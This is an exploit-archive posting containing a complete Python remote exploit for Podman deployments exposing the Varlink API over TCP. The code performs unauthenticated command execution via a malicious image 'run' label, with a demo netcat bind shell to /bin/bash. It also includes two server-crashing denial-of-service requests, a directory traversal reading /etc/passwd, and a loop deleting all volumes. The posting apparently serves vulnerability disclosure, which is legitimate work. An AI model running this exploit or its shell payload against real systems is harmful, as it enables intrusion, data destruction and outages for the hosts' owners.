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Podman / Varlink Remote Code Execution

Podman / Varlink Remote Code Execution
Posted Oct 15, 2019
Authored by Jeremy Brown

Remote exploit for Podman when configured with Varlink that allows for remote command execution, denial of service, directory traversal, and information disclosure vulnerabilities.

tags | exploit, remote, denial of service, vulnerability, info disclosure
MD5 | 877a6bf3a116aaaf342e4d3eba5c9537

Podman / Varlink Remote Code Execution

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#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# pickletime.py
#
# Podman + Varlink Insecure Config Remote Exploit
#
# Jeremy Brown [jbrown3264/gmail] @ Oct 2019
#
# -------
# Details
# -------
#
# Podman is container engine / platform similar to Docker supported
# by RedHat and Fedora with Varlink being a protocol to exchange
# messages, which comes in handy for things like a Remote API.
#
# Now depending on how Podman and Varlink are deployed, they can be
# susceptible to local and remote attacks. There are a few API bugs
# in Podman itself, as well as a way to execute arbitary commands if
# one can hit Podman via the Remote API. Running Podman with Varlink
# over tcp listening either on localhost or the network interface is the
# most vulnerable setup, but other ways such as access via the local UNIX
# socket or over SSH (key /w no passphrase is common) aren't likely
# to be vulnerable unless ACLs or other stuff is broken.
#
# ------------------
# Testing the issues
# ------------------
#
# - check; just connects and issues GetInfo() to see if the host is
# running a podman service
#
# - exec; arbitrary cmd execution via ContainerRunlabel() specified
# by "run" label in the specified hosted image (self-setup)
#
# - dos; crash the server via choosing a /random/ selection from
# the available parsing bugs in APIs (we like to have fun here)
#
# - blind; dir traversal in SearchImages() API to force server to
# read an arbitrary file (no client-side output)
#
# - volrm; loops to remove all volumes via VolumeRemove() behavior
#
# ---------
# Exec demo
# ---------
#
# $ ./pickletime.py check podman-host:6000
# -> Podman service confirmed on host
#
# Then create a Dockerfile with an edgy label, build and host it.
#
# [Dockerfile]
# FROM busybox
# LABEL run=“nc -l -p 10000 -e /bin/bash”
#
# $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run
# Done!
#
# $ nc podman-host 10000
# ps
# PID TTY TIME CMD
# 111640 pts/1 00:00:00 bash
# 111786 pts/1 00:00:00 podman
# 111797 pts/1 00:00:00 nc
# 111799 pts/1 00:00:00 bash
# 111801 pts/1 00:00:00 ps
#
#
# Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64
#
# -----------
# Other stuff
# -----------
#
# Note: admins can really setup their connection and deployment configuration
# however they like, so it's hard to say how many folks are 'doing it wrong'
# or actually are running with proper auth and hardening in place. Shodan
# folks have been contacted about adding support to discover Varlink services
# to get more data that way as well.
#
# Fixed bugs:
# - DoS #2 was fixed in 1.5.1
# - Updated security docs / cli flags TBD
#
# > Why pickles? Why not.
#
# Dependencies to run this code:
#
# sudo dnf install -y python3-podman-api
#
#
#

import os
import sys
import socket
import subprocess
import random
import json
import podman
import pickle
import time

serviceName = 'io.podman' # service name

def main():
if(len(sys.argv) < 2):
print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0])
print("Eg: %s check tcp:podman-host:6000" % sys.argv[0])
print("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0])
print("Actions: check, exec, dos, blind, volrm\n")
return

action = sys.argv[1]
address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing

ip = address.split(':')[1]
port = int(address.split(':')[2])

if(action == 'exec'):
if(len(sys.argv) < 4):
print("Error: need more args for exec")
return

image = sys.argv[3] # 'source' for pull
label = sys.argv[4]

isItTime()

try:
pman = podman.Client(uri=address)
except Exception:
print("Error: can't connect to host")
return

if(action == 'check'):
result = json.dumps(pman.system.info())

if('podman_version' in result):
print("-> Podman service confirmed on host")
return

print("-!- Podman service was not found on host")


elif(action == 'exec'):
#
# First pull the image from the repo, then run the label
#
try:
result = pman.images.pull(image) # PullImage()
except Exception as error:
pass # call fails sometimes if image already exists which is *ok*

#
# ContainerRunlabel() ... but, no library imp. we'll do it live!
#
method = serviceName + '.' + 'ContainerRunlabel'

message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"Runlabel\":{\"image\":\"'
message += image
message += '\",\"label\":\"'
message += label
message += '\"}}}'
message += '\0' # end each msg with a NULL byte

doSocketSend(ip, port, message)


elif(action == 'dos'):
#bug = 1 # !fun
bug = random.randint(1,2) # fun

if(bug == 1):
print("one")
source = 'test'

method = serviceName + '.' + 'LoadImage'

message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"source":\"'
message += source
message += '\"}}'
message += '\0'

doSocketSend(ip, port, message)


# works on 1.4.4, fixed in 1.5.1
if(bug == 2):
print("two")

reference = 'b' * 238
source = '/dev/null' # this file must exist locally

method = serviceName + '.' + 'ImportImage'

message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"reference\":\"'
message += reference
message += '\",\"source\":\"'
message += source
message += '\"}}'
message += '\0'

doSocketSend(ip, port, message)


#
# blind read of arbitrary files server-side
# ...interesting but not particularly useful by itself
#
# openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
# lseek(7, 0, SEEK_CUR) = 0
# fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
# read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
# close(7)
#
elif(action == 'blind'):
method = serviceName + '.' + 'SearchImages'
query = '../../../etc/passwd/' # magic '/' at the end

message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"query\":\"'
message += query
message += '\"}}'
message += '\0'

#pman.images.search(query) # unclear why this doesn't work
doSocketSend(ip, port, message)

#
# Not really a bug, but an interesting feature to demo without auth
# note: call CreateVolume() a few times beforehand to test the removal
#
elif(action == 'volrm'):
method = serviceName + '.' + 'VolumeRemove'
n = 10 # this is probably enough to test, but change as necessary

message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal
message += '\0'

for _ in range(n):
doSocketSend(ip, port, message)
time.sleep(0.5) # server processing time

print("Done!")


#
# podman/varlink libaries don't support calling these API calls, so native we must
#
def doSocketSend(ip, port, message):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(message.encode())

except Exception as error:
print(str(error))
return

finally:
sock.close()


#
# obligatory routine
#
def isItTime():
tm = time.localtime()

p = pickle.dumps('it\'s pickle time!')

if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')):
print(pickle.loads(p))
else:
pass # no dill


if(__name__ == '__main__'):
main()
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